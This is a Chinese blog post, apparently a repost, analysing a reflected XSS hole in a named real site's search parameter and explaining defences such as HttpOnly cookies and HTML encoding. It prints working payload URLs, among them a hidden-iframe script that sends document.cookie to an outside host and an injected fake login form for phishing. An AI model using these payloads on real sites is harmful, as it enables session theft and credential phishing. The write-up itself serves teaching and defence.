zoukankan      html  css  js  c++  java
  • (转)给我一对尖括号,我可以造出整个互联网

    原文地址:

    http://www.cnblogs.com/hkncd/archive/2012/04/25/2469188.html

     

    这是一篇关于XSS攻击的文章,前阵子看到一篇关于博客园找找看XSS漏洞的文章,我研究了一下,发现事隔三个月,漏洞还在,不知为何。正好把这当素材写下此文,让我们来看看这个XSS漏洞究竟能带来哪些危害。

    漏洞分析

    用一下找找看的搜索功能就容易发现,搜索功能往url中传递了两个参数名“w”和“t”,输入框对应“w”,搜索分类对应“t”。看不到t参数的,点击一下搜索框上的分类链接就会找到。

    按常理,输入框是最容易发生攻击的地方,因此找找看也作了防护。根据我的测试,至少有如下两种防护措施:

    1. 正则表达式匹配并删除字符串包含”<script></script>”的部分。
    2. 服务器端对输入字符串长度做了限制。

    虽说方法并不完美,但两个加一起的确可以达到防护目的。参数“w”安全,可参数“t”却没有任何的防护措施,因此,漏洞就在这里。

    通过分析代码,可看到最后”t“传给了一个隐藏表单,代码如下:

    <input type="hidden" class="txtSeach" name="t" id="t" value="">
    

    那我们只要将该input闭合,就可以随心所欲的输入任何内容,比如我们输入‘Test"/><input type="hidden’,最后的结果就变成:

    <input type="hidden" class="txtSeach" name="t" id="t" value="Test"/><input type="hidden"/>
    

    看一下那篇文章中的截图,基本上就明白如何针对该漏洞进行js脚本攻击,如下图:

    image

    XSS危害之一 -- Cookie盗取

    XSS能做的不只是弹窗,会js的都知道,通过document.cookie可以获取到cookie信息,为了测试,我们通过alert显示出来。url地址这样写:

    http://zzk.cnblogs.com/s?w=hacker&t=a"/><script>alert(document.cookie)</script><input type="hidden
    

    输入网址会看到cookie值通过弹窗显示出来,如下图:

    image

    通常,盗取Cookie会做的比较隐秘,不让用户觉察。一般的做法是通过构造一个隐藏的iframe,然后将cookie值作为参数随iframe传给攻击者指定的网址。例如,我把cookie传给百度站点,可以输入如下url地址:

    http://zzk.cnblogs.com/s?w=hacker&t=a"/><iframe id="myid"></iframe><script>var frame=document.getElementById("myid");frame.src="http://www.baidu.com/?a="%2Bdocument.cookie;</script><input type="hidden

    此处为了显示效果,我们不隐藏iframe,可以看到截图如下:

    image

    通过Fiddler工具可以看到cookie已经传送出去。一旦把iframe隐藏,用户点击链接后就基本察觉不到自己的cookie被盗取。

    博客园最有用的cookie就是是登录后产生的名为“.DottextCookie“的cookie了,一旦被盗取,对方就可以直接通过cookie认证登录到你的账号(比如用火狐浏览器的Firecookie插件来编辑cookie)。

    然而,我测试发现,一直无法获取该cookie,后来发现该cookie被标识为HttpOnly,这导致通过页面js脚本无法获取。

    image

    因此,折腾一圈下来,虽然找找看功能有漏洞,却无法盗取到有用的cookie值,我想这也可能是该漏洞一直未处理的原因之一。

    XSS危害之二 -- 伪造Html元素,欺骗用户

    HttpOnly虽然是防cookie盗取的利器,但并不意味着可无视Xss漏洞,因为Xss的危害不仅仅是cookie盗取,它还可以伪造Html元素,欺骗用户提交信息。例如,我们输入如下url地址:

    http://zzk.cnblogs.com/s?w=hacker&t=a"/><script>document.getElementById('searchResult').innerHTML="<div><form><label>Username:</label><input type='text' /><br/><label>Password:</label><input type='text' /><br/><input type='submit' value='submit'/></form></div>";</script><input type="hidden

    通过url伪造了一个登录表单,为了演示目的,我没有添加样式,这样可以看到效果图如下:

    image

    这种效果简陋,易被看穿,但我相信按照网站风格设计一下css样式,加上一些提示性的文字,会产生很强的欺骗性,用一些诱惑性的文字或图片很容易吸引用户点击并上钩,因为用户往往对域名正确的页面容易放松警惕,正所谓散弹打鸟,总会碰到几个笨的。因此这种XSS攻击虽没有直接盗取cookie,依然会造成不小的危害。

    XSS的防护措施

    有不少人在我前一篇关于SQL攻击的文章中留言问如何防护。其实我觉得看懂了攻击方式,基本也就知道如何防护了。对于SQL注入,参数化查询就可以完全胜任,甚至你只屏蔽单引号也一样有很好的效果。

    对于Xss攻击,防护措施如下:

    1. 上面提到的博客园的做法--正则匹配加长度限制。
    2. 将不需要在客户端操作的cookie设置为HttpOnly。
    3. 使用第三方类库,如AntiXSS
    4. 对用户输入内容进行Html编码,例如asp.net mvc中的MvcHtmlString类,总是将字符串编码以后再显示。

    方法很多且容易,但真正能使系统安全稳定,还要归根于设计者本人,就像找找看功能,对输入框进行了防护,却忘记对另外一个参数进行处理,关键在于设计每一个功能的时候,脑中是否有防护的概念,是否用心。

    结语

    阿基米德说过:”给我一个杠杆,我可以翘起整个地球。“为了表述XSS的危害,我也模仿这种语气,写个诳语:”给我一对尖括号,我可以造出整个互联网。“

  • 相关阅读:
    连接Oracle时报错ORA-12541: TNS: 无监听程序
    DevExpress中的GridControl控件设置了列Readonly后,想双击弹出明细的实现
    根据现有的XML文件生成其对应的实体类
    SQL Server Profiler的简单使用
    给视图增加索引,提高多表关联数据查询效率
    您对无法重新创建的表进行了更改或者启用了“阻止保存要求重新创建表的更改”选项
    卸载win10内置的onenote
    XmlSerializer 实现序列化CDATA
    sqlserver数据库不能重命名报错5030
    智力题
  • 原文地址:https://www.cnblogs.com/fcsh820/p/2469886.html
Copyright © 2011-2022 走看看